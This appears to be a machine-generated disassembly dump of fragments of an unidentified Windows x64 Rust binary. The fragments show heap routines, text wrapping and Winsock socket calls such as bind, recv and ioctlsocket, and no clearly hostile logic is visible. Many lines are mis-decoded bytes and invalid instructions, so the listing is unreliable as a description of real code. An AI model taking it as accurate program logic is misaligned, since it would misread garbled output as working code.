movaps xmm6, xmmword [rsp + 0xd0]
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xf0]
movaps xmm9, xmmword [rsp + 0x100]
movaps xmm10, xmmword [rsp + 0x110]
movaps xmm11, xmmword [rsp + 0x120]
movaps xmm12, xmmword [rsp + 0x130]
movaps xmm13, xmmword [rsp + 0x140]
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jb 0x14013cdb0
add rsi, 0xfffffffffffffff0
test r9b, r9b
setne bl
lea rcx, [rsp + 0x50]
mov rdx, rsi
call fcn.140166bf0
mov r15d, eax
or r15b, bl
jmp 0x14013cc32
invalid
add byte [rcx - 0x7f], al
stc
add byte [rax], cl
add byte [rax], al
jb 0x14013ce06
cmp r9d, 0x10000
mov eax, 4
sbb rax, 0
fadd dword [rax]
fadd dword [rax]
add r8, rax
je 0x14013ce1c
mov rax, rdx
sub rax, r8
jbe 0x14013ce21
mov rax, rdx
jmp 0x14013ce23
test rax, rax
je 0x14013cdbb
add r11, qword [rsp + 0x30]
nop word cs:[rax + rax]
movzx r10d, byte [r8 + r11 - 1]
bt r14, r10
jb 0x14013cf7f
add rbx, rdx
mov qword [rax + 0x20], r11
mov qword [rax + 0x30], 0
lea r10, [r11 + rdx]
dec r10
add r11, rdx
cmp r10, r9
jb 0x14013cf50
jmp 0x14013d09a
add byte [rax], al
xor ebp, ebp
xor r12d, r12d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp r13, r12
mov qword [rsp + 0x28], r12
mov rcx, r12
cmova rcx, r13
test r15b, r15b
mov r12, r13
cmovne rcx, r13
cmp rcx, rdx
jae 0x14013cfe1
lea r13, [r8 + rbx]
mov r10, rcx
nop word cs:[rax + rax]
lea r11, [rbx + r10]
cmp r11, r9
jae 0x14013d101
movzx r15d, byte [rsi + r10]
cmp r15b, byte [r13 + r10]
jne 0x14013d04a
mov r13, r12
mov r10, r12
movzx r15d, byte [rsp + 0xc0]
mov r12, qword [rsp + 0x28]
sub byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
sub byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi - 0x2b], cl
cmp rbp, r10
jae 0x14013d0a2
dec r10
cmp r10, rdx
jae 0x14013d0dc
mov qword [rax + 0x20], r9
xor eax, eax
jmp loc.14013d0c8
add rdx, rbx
mov qword [rax + 0x20], rdx
test r15b, r15b
jne 0x14013d0b6
add rcx, rbx
cmp r9, rcx
cmova rcx, r9
lea r8, [0x1401ddf10]
mov rdx, r9
call fcn.140160ed0
ud2
fimul dword [rcx]
add byte [rax - 0x73], cl
and al, 0x28
ud2
lea ecx, [rbp - 0x28]
call fcn.14013df20
ud2
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
and al, 0x10
push rbp
sub rsp, 0x30
lea rbp, [rdx + 0x50]
lea rcx, [rbp - 0x28]
call fcn.14013e8b0
nop
add rsp, 0x30
pop rbp
ret
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], r9b
enter 0xffffffffffff8948, 0xffffffffffffffea
call fcn.14012d610
test rax, rax
je 0x14013e657
mov ecx, eax
and ecx, 3
cmp rcx, 1
jne 0x14013e655
mov rcx, rax
dec rcx
mov qword [rbp + 0x48], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x58], rax
call qword [rax]
jmp 0x14013e094
mov r8, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
cmp qword [rax + 8], 0
je 0x14013e0c5
mov rax, qword [rbp + 0x58]
cmp qword [rax + 0x10], 0x11
jb 0x14013e0b6
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 7
int 0x29
ud2
je 0x14013e660
mov ecx, 7
int 0x29
ud2
cmp al, 0x92
add al, byte [rax]
mov r14, rax
test rax, rax
jne 0x14013ee19
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
mov rcx, r14
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi], r14
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
mov byte [rdi + 0x18], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov qword [rsi], 1
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
cmp word [rbx], 0
je 0x14013f03b
movups xmm0, xmmword [rbx + 4]
mov eax, dword [rbx + 0x14]
mov edx, dword [rbx + 0x18]
movzx ecx, word [rbx + 0x1c]
mov r8d, 0x1c
mov r9w, 0x17
jmp 0x14013f050
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x14013efdc
add byte [rax], al
add byte [rax], al
mov ecx, ebp
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x14013f0b6
mov rdi, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14013ef99
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14013f0bf
mov eax, dword [rbx + 2]
movzx ecx, word [rbx + 6]
mov r8d, reloc.WS2_32.dll_recv
mov r9w, 2
xorps xmm0, xmm0
rol cx, 8
mov word [rsp + 0x34], r9w
mov word [rsp + 0x36], cx
mov dword [rsp + 0x38], eax
movups xmmword [rsp + 0x3c], xmm0
mov dword [rsp + 0x4c], edx
lea rdx, [rsp + 0x34]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x14013f08f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r14d, eax
shl r14, 0x20
or r14, 2
mov qword [rsi + 8], r14
jmp 0x14013ef39
add al, 0x73
and eax, 0x31ff3145
shr cl, 0x5e
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
invalid
pshufw mm5, mm5, 0xd4
pand xmm5, xmm3
paddq xmm0, xmm4
paddq xmm1, xmm5
cmp rax, 0x18
je 0x14013f3af
movzx ecx, word [rbx + 0x18]
movd xmm4, ecx
movzx ecx, word [rbx + 0x1a]
movd xmm5, ecx
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm2, xmm5, 0xd4
pshufd xmm2, xmm2, 0xd4
pand xmm2, xmm3
paddq xmm0, xmm4
paddq xmm1, xmm2
paddq xmm0, xmm1
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rax, r14
je 0x14013f3e4
nop word cs:[rax + rax]
xor ecx, ecx
cmp byte [rbx + rax], 0xc0
setge cl
add r15, rcx
inc rax
cmp r14, rax
jne 0x14013f3d0
cmp rsi, 0x20
jae 0x14013f3ff
test rsi, rsi
je 0x14013f412
mov rcx, rdi
mov rdx, rsi
call fcn.140059330
mov r12, rax
jmp fcn.14013f674
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.14015d7f0
ud2
add byte [rax], al
add byte [rcx], dh
sar bh, cl
adc eax, 0x28099
add al, byte [rax]
test rax, rax
je 0x14013ffb9
adc eax, 0x27ec6
adc ecx, dword [rax - 0x7d]
jnp 0x14014026a
adc dword [rdx + 4], esi
and al, 0x50
add byte [rcx], 0
add byte [rcx + rcx*4 - 0x16], cl
mov r8, rdi
call rax
mov r9, qword [rbp + 0x270]
lea esi, [rax + 2]
add byte [rax], al
lea esi, [rax + 2]
add byte [rax], al
jmp 0x1401420c7
imul rcx, r14, 0x38
add rcx, r13
mov r8, rdx
shl r8, 4
mov qword [rax + r8], rcx
mov qword [rax + r8 + 8], rbx
inc rdx
mov qword [rbp + 0x90], rdx
xorpd xmm0, xmm0
mov r14, r12
movsd xmm1, qword [r13 + r15 + 0x18]
unpcklps xmm1, xmm7
subpd xmm1, xmm9
movapd xmm2, xmm1
unpckhpd xmm2, xmm1
addsd xmm2, xmm1
addsd xmm10, xmm2
addsd xmm0, xmm10
add r15, 0x38
inc r12
cmp rsi, r15
je 0x140142045
movapd xmm1, xmm6
cmp rdx, 2
jae 0x140141fad
movsd xmm1, qword [r9 + rdx*8]
movsd xmm2, qword [r13 + r15 + 0x30]
unpcklps xmm2, xmm7
subpd xmm2, xmm8
movapd xmm10, xmm2
unpckhpd xmm10, xmm2
addsd xmm10, xmm2
movapd xmm2, xmm0
addsd xmm2, xmm10
movsd xmm3, qword [r13 + r15 + 0x28]
unpcklps xmm3, xmm7
subpd xmm3, xmm8
movapd xmm4, xmm3
unpckhpd xmm4, xmm3
addsd xmm4, xmm3
addsd xmm4, xmm2
ucomisd xmm4, xmm1
jbe 0x140141f68
mov rbx, r12
sub rbx, r14
jbe 0x140141f68
cmp r12, rdi
ja 0x1401429ac
cmp rdx, qword [rbp + 0x88]
jne 0x140141f40
lea rcx, [rbp + 0x80]
call fcn.1400219d0
mov r9, qword [rbp + 0x270]
mov rax, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x90]
jmp 0x140141f40
cmp r14, rdi
mov rsi, qword [rbp + 0x238]
ja 0x140142a34
mov rax, qword [rbp + 0x88]
cmp rdx, rax
je 0x140142068
jmp 0x140142085
lea rcx, [rbp + 0x80]
mov rdx, rax
call fcn.1400219d0
mov r9, qword [rbp + 0x270]
mov rdx, qword [rbp + 0x90]
imul rax, r14, 0x38
add rax, r13
sub rdi, r14
mov rcx, qword [rbp + 0x80]
mov r8, rdx
shl r8, 4
mov qword [rcx + r8], rax
mov qword [rcx + r8 + 8], rdi
inc rdx
mov qword [rbp + 0x1d0], rdx
movupd xmm0, xmmword [rbp + 0x80]
movapd xmmword [rbp + 0x1c0], xmm0
mov r14, qword [rbp + 0x1e8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r9
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15, qword [rbp + 0x1c0]
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1b0], rax
mov r12, qword [rbp + 0x1d0]
test r12, r12
mov rdi, qword [rbp + 0x1a8]
je 0x1401428c7
shl r12, 4
add r12, r15
xor eax, eax
mov qword [rbp + 0x270], rax
mov rbx, r15
add rbx, 0x10
mov rax, qword [rbx - 8]
test rax, rax
je 0x140142179
jmp 0x140142191
lea rax, [rbx - 0x10]
mov rcx, qword [rdi]
lea r8, [rdx + rdx*2]
mov qword [rcx + r8*8], 0
lea r9, [0x140204680]
mov qword [rcx + r8*8 + 8], r9
mov qword [rcx + r8*8 + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
ret 0x8948
push rdi
adc byte [rax - 0x7d], cl
ret
adc byte [rax - 0x7d], cl
rcl byte [rax], 0x4c
cmp eax, esp
je 0x1401428c7
mov rax, qword [rbx - 8]
test rax, rax
jne 0x140142191
mov rdx, qword [rdi + 0x10]
cmp rdx, qword [rdi + 8]
jne 0x140142130
mov rcx, rdi
call fcn.14004ef00
mov rdx, qword [rdi + 0x10]
jmp 0x140142130
mov qword [rbp + 0x1f8], r15
mov rcx, qword [rbx - 0x10]
cmp rax, 4
mov qword [rbp + 0x260], rcx
jae 0x1401421b0
xor r15d, r15d
xor ecx, ecx
jmp 0x140142205
mov rdx, rax
and rdx, 0xfffffffffffffffc
lea r8, [rcx + 0xc0]
xor r15d, r15d
xor ecx, ecx
nop word cs:[rax + rax]
add r15, qword [r8 - 0xb8]
add r15, qword [r8 - 0xa8]
add r15, qword [r8 - 0x80]
add edi, dword [rax - 0x80]
add r15, qword [r8 - 0x70]
add r15, qword [r8 - 0x48]
add r15, qword [r8 - 0x38]
add r15, qword [r8 - 0x10]
add r15, qword [r8]
add rcx, 4
add r8, 0xe0
cmp rdx, rcx
jne 0x1401421d0
mov edx, eax
and edx, 3
je 0x140142242
imul rcx, rcx, 0x38
mov r8, qword [rbp + 0x260]
add rcx, r8
add rcx, 0x18
imul rdx, rdx, 0x38
xor r8d, r8d
nop word cs:[rax + rax]
add r15, qword [rcx + r8 - 0x10]
add r15, qword [rcx + r8]
add r8, 0x38
cmp rdx, r8
jne 0x140142230
dec rax
imul rcx, rax, 0x38
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x268], rcx
sub r15, qword [rax + rcx + 0x18]
mov rax, qword [rdi + 0x10]
cmp qword [rbp + 0x1f0], 0
mov qword [rbp + 0x1d8], rax
je 0x14014231d
test rax, rax
jne 0x14014231d
cmp qword [rbp + 0x1f0], 0
js 0x140142a0b
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1401422bc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov rsi, qword [rbp + 0x1f0]
je 0x1401429fc
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov rsi, qword [rbp + 0x1f0]
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401429fc
mov rdi, rax
mov rcx, rax
mov rdx, qword [rbp + 0x170]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x210], rsi
mov rax, rsi
mov r8, rsi
mov qword [rbp + 0x250], rsi
mov rsi, qword [rbp + 0x238]
jmp 0x1401423e4
test rsi, rsi
je 0x1401423b1
test rax, rax
je 0x1401423b1
test rsi, rsi
js 0x140142a0b
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x140142361
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401429fc
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401429fc
mov rdi, rax
mov rcx, rax
mov rdx, qword [rbp + 0x178]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x210], rsi
mov rax, rsi
mov r8, rsi
mov qword [rbp + 0x250], rsi
jmp 0x1401423e4
lea rcx, [0x140204680]
mov qword [rbp + 0x208], rcx
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x200], 0
mov rax, rcx
xor r8d, r8d
mov qword [rbp + 0x250], rcx
xor edi, edi
mov rcx, r15
add rcx, qword [rbp + 0x270]
mov qword [rbp + 0x248], rcx
jb 0x1401429c0
cmp qword [rbp + 0x270], 0
je 0x140142429
mov rdx, qword [rbp + 0x270]
cmp rdx, r14
jae 0x140142423
mov rcx, qword [rbp + 0x240]
cmp byte [rcx + rdx], 0xc0
jge 0x140142429
jmp 0x1401429c0
jne 0x1401429c0
cmp qword [rbp + 0x248], 0
je 0x140142457
mov rdx, qword [rbp + 0x248]
cmp rdx, r14
jae 0x140142451
mov rcx, qword [rbp + 0x240]
cmp byte [rcx + rdx], 0xbf
jg 0x140142457
jmp 0x1401429c0
jne 0x1401429c0
mov r14, qword [rbp + 0x270]
add r14, qword [rbp + 0x240]
test r8, r8
je 0x1401424b6
test r15, r15
je 0x1401424f3
test rdi, rdi
mov qword [rbp + 0x270], r14
je 0x140142571
mov r14, r8
sub rax, r14
cmp rax, r15
jb 0x14014267d
add rdi, r14
mov rcx, rdi
mov rdx, qword [rbp + 0x270]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r14, r15
mov qword [rbp + 0x210], r14
mov r8, r14
jmp 0x1401424f3
test rdi, rdi
je 0x1401424d7
cmp qword [rbp + 0x250], 0
je 0x1401424d7
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], r14
mov qword [rbp + 0x210], r15
mov r8, r15
mov rax, qword [rbp + 0x260]
mov rcx, qword [rbp + 0x268]
mov r14, qword [rax + rcx + 0x28]
test r14, r14
mov r15, qword [rbp + 0x1f8]
je 0x14014276d
mov rdi, qword [rbp + 0x200]
test rdi, rdi
je 0x14014253c
mov rax, qword [rbp + 0x208]
mov rcx, qword [rbp + 0x260]
mov r15, qword [rbp + 0x268]
jmp 0x140142732
mov rdx, qword [rbp + 0x208]
test r8, r8
je 0x1401425ce
js 0x140142a0b
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
je 0x1401426a2
mov r14, rdx
jmp 0x1401426c1
mov rdi, r8
add rdi, r15
je 0x1401425e1
js 0x140142a0b
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
mov qword [rbp + 0x1e0], r8
jne 0x1401425af
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140142a57
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov r8, qword [rbp + 0x1e0]
jne 0x1401425e6
jmp 0x140142a57
mov edi, 1
xor eax, eax
mov qword [rbp + 0x270], rax
jmp 0x1401426e8
mov eax, 1
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x90], 0
cmp rdi, r8
jae 0x140142628
lea rcx, [rbp + 0x80]
xor edx, edx
mov rdi, r8
call fcn.14015d800
mov rax, qword [rbp + 0x80]
mov r14, qword [rbp + 0x90]
mov r8, rdi
jmp 0x14014262b
xor r14d, r14d
add rax, r14
mov rcx, rax
mov rdx, qword [rbp + 0x250]
mov rdi, r8
call sub.VCRUNTIME140.dll_memcpy
add r14, rdi
mov qword [rbp + 0x210], r14
movupd xmm0, xmmword [rbp + 0x80]
movapd xmmword [rbp + 0x200], xmm0
mov rdi, qword [rbp + 0x200]
test rdi, rdi
je 0x14014280c
mov rax, qword [rbp + 0x208]
sub rax, r14
cmp rax, r15
jae 0x140142492
lea rcx, [rbp + 0x200]
mov rdx, r14
mov r8, r15
call fcn.14015d800
mov rdi, qword [rbp + 0x200]
mov r14, qword [rbp + 0x210]
jmp 0x140142492
mov rsi, r8
mov r14, rdx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
test rax, rax
je 0x140142a48
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, rsi
mov rdi, rax
mov qword [rbp + 0x270], rsi
test rax, rax
mov rdx, r14
je 0x140142a48
mov r15, qword [rbp + 0x268]
mov rax, qword [rbp + 0x260]
lea r14, [rax + r15]
add r14, 0x28
mov rcx, rdi
mov rsi, r8
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x208], rsi
mov r14, qword [r14]
mov rax, rsi
mov r8, qword [rbp + 0x270]
mov rcx, qword [rbp + 0x260]
mov rsi, qword [rbp + 0x238]
add rcx, r15
add rcx, 0x20
mov r15, qword [rcx]
sub rax, r8
cmp rax, r14
jb 0x140142870
add rdi, r8
mov rcx, rdi
mov rdx, r15
mov rdi, r8
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rdi, r14
mov qword [rbp + 0x210], rdi
mov r15, qword [rbp + 0x1f8]
mov rdi, qword [rbp + 0x1a8]
mov rdx, qword [rbp + 0x1d8]
cmp rdx, qword [rdi + 8]
jne 0x140142796
mov rcx, rdi
call fcn.14004ef00
mov r9, qword [rdi + 0x10]
mov r14, qword [rbp + 0x1e8]
jmp 0x1401427a0
mov r14, qword [rbp + 0x1e8]
mov r9, rdx
mov rax, qword [rbp + 0x260]
mov rcx, qword [rbp + 0x268]
add rax, rcx
add rax, 0x18
mov rcx, qword [rdi]
lea rdx, [r9 + r9*2]
mov r8, qword [rbp + 0x210]
mov qword [rcx + rdx*8 + 0x10], r8
movapd xmm0, xmmword [rbp + 0x200]
movupd xmmword [rcx + rdx*8], xmm0
inc r9
mov qword [rdi + 0x10], r9
mov rcx, qword [rbp + 0x248]
add rcx, qword [rax]
mov qword [rbp + 0x270], rcx
cmp rbx, r12
je 0x1401428c7
add rbx, 0x10
mov rax, qword [rbx - 8]
test rax, rax
je 0x140142179
jmp 0x140142191
mov rdx, qword [rbp + 0x208]
test r14, r14
je 0x140142895
js 0x140142a0b
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
mov qword [rbp + 0x250], rdx
jne 0x14014284e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140142a66
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
mov rdx, qword [rbp + 0x250]
jne 0x14014289a
jmp 0x140142a66
lea rcx, [rbp + 0x200]
mov rdx, r8
mov r8, r14
call fcn.14015cc80
mov rdi, qword [rbp + 0x200]
mov r8, qword [rbp + 0x210]
jmp 0x140142748
mov edi, 1
mov rcx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x208], r14
mov rax, r14
sub rax, r14
cmp rax, r15
jae 0x140142492
jmp 0x14014267d
cmp qword [rbp + 0x1b0], 0
je 0x1401428e3
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x258], 0
je 0x1401428ff
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rbp + 0x280]
movaps xmm7, xmmword [rbp + 0x290]
movaps xmm8, xmmword [rbp + 0x2a0]
movaps xmm9, xmmword [rbp + 0x2b0]
movaps xmm10, xmmword [rbp + 0x2c0]
add rsp, 0x358
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srcwrap_algorithms.rs
mov rcx, r12
mov rdx, rdi
call fcn.140160f40
ud2
lea rax, [0x1401de3c0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x240]
mov rdx, r14
mov r8, qword [rbp + 0x270]
mov r9, qword [rbp + 0x248]
call fcn.140161400
ud2
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srcwrap_algorithms.rs
mov rcx, r14
mov rdx, rdi
call fcn.140160e60
ud2
mov ecx, 1
mov rdx, r8
call fcn.14015d7f0
ud2
mov ecx, 1
mov rdx, rdi
call fcn.14015d7f0
ud2
mov ecx, 1
mov rdx, r14
call fcn.14015d7f0
ud2
xor byte [rax - 0x75], cl
push rdi
cmp al, ch
insd dword [rdi], dx
pop rdx
dec dword [rax - 0x75]
xchg eax, ebx
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rbx - 0x10], 0x48
dec dword [rax]
jne 0x140143fd8
adc ecx, dword [rax - 0x75]
invalid
mov rcx, qword [rdi + 0xd8]
mov rdx, qword [rdi + 0xe0]
call fcn.140069a20
pop rdx
invalid
invalid
pop rdx
dec dword [rax - 0x75]
xchg eax, ebp
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rbx - 0x10], 0x48
dec dword [rax]
mov rax, qword [rdi + 0xe8]
test rax, rax
je 0x140143ffd
lock dec qword [rax]
jne 0x140143ffd
mov rcx, qword [rdi + 0xe8]
mov rdx, qword [rdi + 0xf0]
lock add byte [rax], al
add al, ch
and ebx, dword [rdx - 0xe]
invalid
lock add byte [rax], al
add al, ch
and ebx, dword [rdx - 0xe]
dec dword [rbx + rcx*4 + 6]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x14014406a
lock dec qword [r8 + 8]
jne 0x14014406a
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
and rax, 0xffffffffffffffc0
cmp rax, 0x80
add byte [rax], al
add byte [rbp - 0x2f], dh
add byte [rax], al
add byte [rbp - 0x2f], dh
mov rcx, qword [r12]
or al, 0x24
or al, 0x24
mov rax, qword [rcx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
jmp fcn.140144090
test eax, eax
je 0x140144152
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
and al, 0x28
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
test dil, 0xa
jne 0x140144360
jmp 0x140144391
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov qword [rsi + 0x30], 0
test rcx, rcx
je 0x140144391
mov r8, r13
shl r8, 4
mov qword [rsp + r8 + 0x28], rcx
mov qword [rsp + r8 + 0x30], rdx
inc r13
mov qword [rsp + 0x228], r13
movabs rbx, 0x7fffffffffffffff
lea r14, [rsi + 0x18]
xorps xmm6, xmm6
mov r15, qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov r12, qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rdx, qword [rsi + 0x10]
nop word cs:[rax + rax]
test rdx, rdx
je 0x1401448cb
mov rcx, rdx
mov rdx, qword [rdx + 8]
mov r8, qword [rcx + 0x20]
mov r9d, r8d
and r9d, 1
neg r9d
and r9d, 5
lea r10d, [r9 + 0xa]
mov r11d, r8d
and r11d, 0x20
test r8b, 2
cmove r10d, r9d
or r10d, r11d
test r10d, edi
je 0x1401443c0
mov r8, qword [rcx]
test r8, r8
je 0x140144414
mov qword [r8 + 8], rdx
mov r8, qword [rcx + 8]
test r8, r8
jne 0x140144436
jmp 0x14014442a
cmp qword [rsi + 0x10], rcx
jne 0x1401448cb
mov qword [rsi + 0x10], rdx
mov r8, rdx
test r8, r8
jne 0x140144436
mov r8, r14
cmp qword [r14], rcx
jne 0x1401448cb
mov r9, qword [rcx]
mov qword [r8], r9
movups xmmword [rcx], xmm6
mov r8, qword [rcx + 0x10]
mov r9, qword [rcx + 0x18]
mov qword [rcx + 0x10], 0
test r8, r8
je 0x140144497
mov byte [rcx + 0x28], 1
mov rcx, qword [rsp + 0x228]
cmp rcx, 0x20
jae 0x140144946
shl rcx, 4
mov qword [rsp + rcx + 0x28], r8
mov qword [rsp + rcx + 0x30], r9
mov r13, qword [rsp + 0x228]
inc r13
mov qword [rsp + 0x228], r13
cmp r13, 0x20
jb 0x1401443c0
jmp 0x1401444a9
mov r13, qword [rsp + 0x228]
cmp r13, 0x20
jb 0x1401443c0
test al, al
jne 0x1401444bd
mov rax, qword [0x1402153f0]
test rax, rbx
jne 0x1401448b5
mov rcx, rsi
call r15
cmp r13, 0x21
jae 0x140144959
mov qword [rsp + 0x228], 0x1f
mov rax, qword [rsp + 0x218]
mov rcx, qword [rsp + 0x220]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0x1e
mov rax, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x210]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0x1d
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x200]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0x1c
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0x1b
mov rax, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1e0]
loopne 0x140144564
add byte [rax], al
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0x1a
mov rax, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1d0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0x19
add al, byte [rax]
add byte [rcx], bl
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rax*8], fs
add dword [rax], eax
add bh, bh
push rax
or byte [rax - 0x39], cl
test byte [rax + rbp], ah
and al, 0x28
add al, byte [rax]
add byte [rax], bl
add byte [rax], al
invalid
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x1b0]
call qword [rax + ioctlsocket]
or byte [rax - 0x39], cl
test byte [rax + rbp], ah
add al, byte [rax]
add byte [rdi], dl
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbx*4], ah
and al, 0x98
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
add dword [rax], eax
add bh, bh
push rax
or byte [rax - 0x39], cl
test byte [rax + rbp], ah
add al, byte [rax]
add byte [rsi], dl
add byte [rax], al
add byte [rax - 0x75], cl
